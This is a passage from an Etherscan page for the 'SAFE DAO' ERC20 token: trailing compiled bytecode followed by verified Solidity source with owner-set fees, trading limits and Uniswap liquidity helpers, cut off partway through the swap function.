060006002601a54613ead9190614cd0565b87613eb8919061593e565b601b5485613ec69190614c5f565b613ed09190614cd0565b90508082613ede9190614d93565b83613ee9919061593e565b92506000601a8190555060006019819055506000601b81905550600085118015613f135750600083115b15613f2357613f228584614584565b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681604051613f6990615c31565b60006040518083038185875af1925050503d8060008114613fa6576040519150601f19603f3d011682016040523d82523d6000602084013e613fab565b606091505b505080965050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051613ff790615c31565b60006040518083038185875af1925050503d8060008114614034576040519150601f19603f3d011682016040523d82523d6000602084013e614039565b606091505b50508096505050505050505050505b565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036140b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016140b0906157b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603614128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161411f90615846565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156141ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016141a590615cb8565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546142419190614d93565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516142a591906148d7565b60405180910390a350505050565b80601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd6746828260405161433b929190615cd8565b60405180910390a15050565b6000600267ffffffffffffffff81111561436457614363615d01565b5b6040519080825280602002602001820160405280156143925781602001602082028036833780820191505090505b50905030816000815181106143aa576143a9615d30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561444f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906144739190615d74565b8160018151811061448757614486615d30565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506144ec307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612bf2565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161454e959493929190615e9a565b600060405180830381600087803b15801561456857600080fd5b505af115801561457c573d6000803e3d6000fd5b505050505050565b6145af307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84612bf2565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b815260040161461696959493929190615ef4565b60606040518083038185885af1158015614634573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906146599190615f55565b5050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561469a57808201518184015260208101905061467f565b60008484015250505050565b6000601f19601f8301169050919050565b60006146c282614660565b6146cc818561466b565b93506146dc81856020860161467c565b6146e5816146a6565b840191505092915050565b6000602082019050818103600083015261470a81846146b7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061474282614717565b9050919050565b61475281614737565b811461475d57600080fd5b50565b60008135905061476f81614749565b92915050565b6000819050919050565b61478881614775565b811461479357600080fd5b50565b6000813590506147a58161477f565b92915050565b600080604083850312156147c2576147c1614712565b5b60006147d085828601614760565b92505060206147e185828601614796565b9150509250929050565b60008115159050919050565b614800816147eb565b82525050565b600060208201905061481b60008301846147f7565b92915050565b60006020828403121561483757614836614712565b5b600061484584828501614760565b91505092915050565b6000819050919050565b600061487361486e61486984614717565b61484e565b614717565b9050919050565b600061488582614858565b9050919050565b60006148978261487a565b9050919050565b6148a78161488c565b82525050565b60006020820190506148c2600083018461489e565b92915050565b6148d181614775565b82525050565b60006020820190506148ec60008301846148c8565b92915050565b60008060006060848603121561490b5761490a614712565b5b600061491986828701614760565b935050602061492a86828701614760565b925050604061493b86828701614796565b9150509250925092565b60006020828403121561495b5761495a614712565b5b600061496984828501614796565b91505092915050565b600060ff82169050919050565b61498881614972565b82525050565b60006020820190506149a3600083018461497f565b92915050565b6149b281614737565b82525050565b60006020820190506149cd60008301846149a9565b92915050565b6149dc816147eb565b81146149e757600080fd5b50565b6000813590506149f9816149d3565b92915050565b60008060408385031215614a1657614a15614712565b5b6000614a2485828601614760565b9250506020614a35858286016149ea565b9150509250929050565b600080600060608486031215614a5857614a57614712565b5b6000614a6686828701614796565b9350506020614a7786828701614796565b9250506040614a8886828701614796565b9150509250925092565b60008060408385031215614aa957614aa8614712565b5b6000614ab785828601614760565b9250506020614ac885828601614760565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614b1957607f821691505b602082108103614b2c57614b2b614ad2565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000614b8e60288361466b565b9150614b9982614b32565b604082019050919050565b60006020820190508181036000830152614bbd81614b81565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614bfa60208361466b565b9150614c0582614bc4565b602082019050919050565b60006020820190508181036000830152614c2981614bed565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614c6a82614775565b9150614c7583614775565b9250828202614c8381614775565b91508282048414831517614c9a57614c99614c30565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000614cdb82614775565b9150614ce683614775565b925082614cf657614cf5614ca1565b5b828204905092915050565b7f43616e6e6f7420736574206d61782062757920616d6f756e74206c6f7765722060008201527f7468616e20302e31250000000000000000000000000000000000000000000000602082015250565b6000614d5d60298361466b565b9150614d6882614d01565b604082019050919050565b60006020820190508181036000830152614d8c81614d50565b9050919050565b6000614d9e82614775565b9150614da983614775565b9250828201905080821115614dc157614dc0614c30565b5b92915050565b7f5f6f7065726174696f6e734164647265737320616464726573732063616e6e6f60008201527f7420626520300000000000000000000000000000000000000000000000000000602082015250565b6000614e2360268361466b565b9150614e2e82614dc7565b604082019050919050565b60006020820190508181036000830152614e5281614e16565b9050919050565b7f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060008201527f6d61782074786e00000000000000000000000000000000000000000000000000602082015250565b6000614eb560278361466b565b9150614ec082614e59565b604082019050919050565b60006020820190508181036000830152614ee481614ea8565b9050919050565b7f4d757374206b656570206665657320617420313525206f72206c657373000000600082015250565b6000614f21601d8361466b565b9150614f2c82614eeb565b602082019050919050565b60006020820190508181036000830152614f5081614f14565b9050919050565b7f5f746f6b656e20616464726573732063616e6e6f742062652030000000000000600082015250565b6000614f8d601a8361466b565b9150614f9882614f57565b602082019050919050565b60006020820190508181036000830152614fbc81614f80565b9050919050565b7f43616e2774207769746864726177206e617469766520746f6b656e7300000000600082015250565b6000614ff9601c8361466b565b915061500482614fc3565b602082019050919050565b6000602082019050818103600083015261502881614fec565b9050919050565b60008151905061503e8161477f565b92915050565b60006020828403121561505a57615059614712565b5b60006150688482850161502f565b91505092915050565b600060408201905061508660008301856149a9565b61509360208301846148c8565b9392505050565b6000815190506150a9816149d3565b92915050565b6000602082840312156150c5576150c4614712565b5b60006150d38482850161509a565b91505092915050565b7f43616e6e6f74207265656e61626c652074726164696e67000000000000000000600082015250565b600061511260178361466b565b915061511d826150dc565b602082019050919050565b6000602082019050818103600083015261514181615105565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b60006151a460398361466b565b91506151af82615148565b604082019050919050565b600060208201905081810360008301526151d381615197565b9050919050565b7f5f5461784164647265737320616464726573732063616e6e6f74206265203000600082015250565b6000615210601f8361466b565b915061521b826151da565b602082019050919050565b6000602082019050818103600083015261523f81615203565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006152a260258361466b565b91506152ad82615246565b604082019050919050565b600060208201905081810360008301526152d181615295565b9050919050565b7f4d757374206b656570206665657320617420323025206f72206c657373000000600082015250565b600061530e601d8361466b565b9150615319826152d8565b602082019050919050565b6000602082019050818103600083015261533d81615301565b9050919050565b7f43616e6e6f7420736574206d61782077616c6c657420616d6f756e74206c6f7760008201527f6572207468616e20302e33250000000000000000000000000000000000000000602082015250565b60006153a0602c8361466b565b91506153ab82615344565b604082019050919050565b600060208201905081810360008301526153cf81615393565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60008201527f20302e3030312520746f74616c20737570706c792e0000000000000000000000602082015250565b600061543260358361466b565b915061543d826153d6565b604082019050919050565b6000602082019050818103600083015261546181615425565b9050919050565b7f5377617020616d6f756e742063616e6e6f74206265206869676865722074686160008201527f6e20302e312520746f74616c20737570706c792e000000000000000000000000602082015250565b60006154c460348361466b565b91506154cf82615468565b604082019050919050565b600060208201905081810360008301526154f3816154b7565b9050919050565b7f43616e6e6f7420736574206d61782073656c6c20616d6f756e74206c6f77657260008201527f207468616e20302e312500000000000000000000000000000000000000000000602082015250565b6000615556602a8361466b565b9150615561826154fa565b604082019050919050565b6000602082019050818103600083015261558581615549565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006155e860268361466b565b91506155f38261558c565b604082019050919050565b60006020820190508181036000830152615617816155db565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061567a60248361466b565b91506156858261561e565b604082019050919050565b600060208201905081810360008301526156a98161566d565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061570c60228361466b565b9150615717826156b0565b604082019050919050565b6000602082019050818103600083015261573b816156ff565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061579e60258361466b565b91506157a982615742565b604082019050919050565b600060208201905081810360008301526157cd81615791565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061583060238361466b565b915061583b826157d4565b604082019050919050565b6000602082019050818103600083015261585f81615823565b9050919050565b7f616d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b600061589c601d8361466b565b91506158a782615866565b602082019050919050565b600060208201905081810360008301526158cb8161588f565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b600061590860168361466b565b9150615913826158d2565b602082019050919050565b60006020820190508181036000830152615937816158fb565b9050919050565b600061594982614775565b915061595483614775565b925082820390508181111561596c5761596b614c30565b5b92915050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e202054727920616761696e206c617465722e0000000000000000000000602082015250565b60006159ce60358361466b565b91506159d982615972565b604082019050919050565b600060208201905081810360008301526159fd816159c1565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d6178206275792e000000000000000000000000000000000000000000000000602082015250565b6000615a6060288361466b565b9150615a6b82615a04565b604082019050919050565b60006020820190508181036000830152615a8f81615a53565b9050919050565b7f43616e6e6f7420457863656564206d61782077616c6c65740000000000000000600082015250565b6000615acc60188361466b565b9150615ad782615a96565b602082019050919050565b60006020820190508181036000830152615afb81615abf565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61782073656c6c2e00000000000000000000000000000000000000000000602082015250565b6000615b5e602a8361466b565b9150615b6982615b02565b604082019050919050565b60006020820190508181036000830152615b8d81615b51565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000615bca601f8361466b565b9150615bd582615b94565b602082019050919050565b60006020820190508181036000830152615bf981615bbd565b9050919050565b600081905092915050565b50565b6000615c1b600083615c00565b9150615c2682615c0b565b600082019050919050565b6000615c3c82615c0e565b9150819050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000615ca260268361466b565b9150615cad82615c46565b604082019050919050565b60006020820190508181036000830152615cd181615c95565b9050919050565b6000604082019050615ced60008301856149a9565b615cfa60208301846147f7565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050615d6e81614749565b92915050565b600060208284031215615d8a57615d89614712565b5b6000615d9884828501615d5f565b91505092915050565b6000819050919050565b6000615dc6615dc1615dbc84615da1565b61484e565b614775565b9050919050565b615dd681615dab565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615e1181614737565b82525050565b6000615e238383615e08565b60208301905092915050565b6000602082019050919050565b6000615e4782615ddc565b615e518185615de7565b9350615e5c83615df8565b8060005b83811015615e8d578151615e748882615e17565b9750615e7f83615e2f565b925050600181019050615e60565b5085935050505092915050565b600060a082019050615eaf60008301886148c8565b615ebc6020830187615dcd565b8181036040830152615ece8186615e3c565b9050615edd60608301856149a9565b615eea60808301846148c8565b9695505050505050565b600060c082019050615f0960008301896149a9565b615f1660208301886148c8565b615f236040830187615dcd565b615f306060830186615dcd565b615f3d60808301856149a9565b615f4a60a08301846148c8565b979650505050505050565b600080600060608486031215615f6e57615f6d614712565b5b6000615f7c8682870161502f565b9350506020615f8d8682870161502f565b9250506040615f9e8682870161502f565b915050925092509256fea264697066735822122095e73082ae75fe654b2d50c39282846378e6bb2d34f52490824238fbbf06a87864736f6c63430008110033

Verified Source Code Partial Match

Compiler: v0.8.17+commit.8df45f5f EVM: london Optimization: No
SAFEDAO.sol 634 lines
/**
 *Submitted for verification at Etherscan.io on 2022-10-01
*/

/* 

SAFE DAO ($SAFE)

Twitter: https://twitter.com/The_safe_dao


95% Added to Liquidity
5% Airdrop

*/

// SPDX-License-Identifier: Unlicense                                                                           
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
  
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _createInitialSupply(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract SAFEDAO is ERC20, Ownable {

    uint256 public maxBuyAmount;
    uint256 public maxSellAmount;
    uint256 public maxWalletAmount;

    IDexRouter public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;

    bool private swapping;
    uint256 public swapTokensAtAmount;

    address public operationsAddress;
    address public TaxAddress;

    uint256 public tradingActiveBlock = 0;

    bool public limitsInEffect = true;
    bool public tradingActive = false;
    bool public swapEnabled = false;
    
    mapping(address => uint256) private _holderLastTransferTimestamp; 
    bool public transferDelayEnabled = true;

    uint256 public buyTotalFees;
    uint256 public buyOperationsFee;
    uint256 public buyLiquidityFee;
    uint256 public buyTaxFee;

    uint256 public sellTotalFees;
    uint256 public sellOperationsFee;
    uint256 public sellLiquidityFee;
    uint256 public sellTaxFee;

    uint256 public tokensForOperations;
    uint256 public tokensForLiquidity;
    uint256 public tokensForTax;
    
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    mapping (address => bool) public automatedMarketMakerPairs;

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event EnabledTrading();
    event RemovedLimits();

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event UpdatedMaxBuyAmount(uint256 newAmount);

    event UpdatedMaxSellAmount(uint256 newAmount);

    event UpdatedMaxWalletAmount(uint256 newAmount);

    event UpdatedOperationsAddress(address indexed newWallet);

    event UpdatedTaxAddress(address indexed newWallet);

    event MaxTransactionExclusion(address _address, bool excluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    event TransferForeignToken(address token, uint256 amount);

    constructor() ERC20( "SAFE DAO", "SAFE") {
        
        address newOwner = 0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4;
        
        IDexRouter _uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uniswapV2Pair = IDexFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);
 
        uint256 totalSupply = 1 * 1e9 * 1e18;
        
        maxBuyAmount = totalSupply; 
        maxSellAmount = totalSupply; 
        maxWalletAmount = totalSupply;
        swapTokensAtAmount = totalSupply; 

        buyOperationsFee = 0;
        buyLiquidityFee = 0;
        buyTaxFee = 0;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyTaxFee;

        sellOperationsFee = 0;
        sellLiquidityFee = 0;
        sellTaxFee = 0;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellTaxFee;

        _excludeFromMaxTransaction(newOwner, true);
        _excludeFromMaxTransaction(address(this), true);
        _excludeFromMaxTransaction(address(0xdead), true);

        excludeFromFees(newOwner, true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        operationsAddress = address(0xc00bedFd78D649D00aaDD0B6e5091751D200EeB4);   
        TaxAddress = address(0); 
        
        _createInitialSupply(newOwner, totalSupply);
        transferOwnership(newOwner);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        require(!tradingActive, "Cannot reenable trading");
        tradingActive = true;
        swapEnabled = true;
        tradingActiveBlock = block.number;
        emit EnabledTrading();
    }
    
    function removeLimits() external onlyOwner {
        limitsInEffect = false;
        transferDelayEnabled = false;
        emit RemovedLimits();
    }
    
    function disableTransferDelay() external onlyOwner {
        transferDelayEnabled = false;
    }
    
    function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set max buy amount lower than 0.1%");
        maxBuyAmount = newNum * (10**18);
        emit UpdatedMaxBuyAmount(maxBuyAmount);
    }
    
    function updateMaxSellAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set max sell amount lower than 0.1%");
        maxSellAmount = newNum * (10**18);
        emit UpdatedMaxSellAmount(maxSellAmount);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 3 / 1000)/1e18, "Cannot set max wallet amount lower than 0.3%");
        maxWalletAmount = newNum * (10**18);
        emit UpdatedMaxWalletAmount(maxWalletAmount);
    }

    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner {
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 1 / 1000, "Swap amount cannot be higher than 0.1% total supply.");
        swapTokensAtAmount = newAmount;
    }
    
    function _excludeFromMaxTransaction(address updAds, bool isExcluded) private {
        _isExcludedMaxTransactionAmount[updAds] = isExcluded;
        emit MaxTransactionExclusion(updAds, isExcluded);
    }

    
    function excludeFromMaxTransaction(address updAds, bool isEx) external onlyOwner {
        if(!isEx){
            require(updAds != uniswapV2Pair, "Cannot remove uniswap pair from max txn");
        }
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) external onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        
        _excludeFromMaxTransaction(pair, value);

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function updateBuyFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _TaxFee) external onlyOwner {
        buyOperationsFee = _operationsFee;
        buyLiquidityFee = _liquidityFee;
        buyTaxFee = _TaxFee;
        buyTotalFees = buyOperationsFee + buyLiquidityFee + buyTaxFee;
        require(buyTotalFees <= 15, "Must keep fees at 15% or less");
    }

    function updateSellFees(uint256 _operationsFee, uint256 _liquidityFee, uint256 _TaxFee) external onlyOwner {
        sellOperationsFee = _operationsFee;
        sellLiquidityFee = _liquidityFee;
        sellTaxFee = _TaxFee;
        sellTotalFees = sellOperationsFee + sellLiquidityFee + sellTaxFee;
        require(sellTotalFees <= 20, "Must keep fees at 20% or less");
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "amount must be greater than 0");
        
        
        if(limitsInEffect){
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead)){
                if(!tradingActive){
                    require(_isExcludedMaxTransactionAmount[from] || _isExcludedMaxTransactionAmount[to], "Trading is not active.");
                }
                
                 if (transferDelayEnabled){
                    if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number - 4 && _holderLastTransferTimestamp[to] < block.number - 4, "_transfer:: Transfer Delay enabled.  Try again later.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                        _holderLastTransferTimestamp[to] = block.number;
                    }
                }
                 
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy.");
                        require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                } 

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxSellAmount, "Sell transfer amount exceeds the max sell.");
                } 
                else if (!_isExcludedMaxTransactionAmount[to] && !_isExcludedMaxTransactionAmount[from]){
                    require(amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet");
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if(canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = true;

        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        uint256 penaltyAmount = 0;
    
        if(takeFee){

            if(tradingActiveBlock >= block.number + 1 && automatedMarketMakerPairs[from]){
                penaltyAmount = amount * 99 / 100;
                super._transfer(from, operationsAddress, penaltyAmount);
            }
        
            else if (automatedMarketMakerPairs[to] && sellTotalFees > 0){
                fees = amount * sellTotalFees /100;
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForOperations += fees * sellOperationsFee / sellTotalFees;
                tokensForTax += fees * sellTaxFee / sellTotalFees;
            }
          
            else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount * buyTotalFees / 100;
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForOperations += fees * buyOperationsFee / buyTotalFees;
                tokensForTax += fees * buyTaxFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees + penaltyAmount;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(0xdead),
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForOperations + tokensForTax;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 10){
            contractBalance = swapTokensAtAmount * 10;
        }

        bool success;
        
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        
        swapTokensForEth(contractBalance - liquidityTokens); 
        
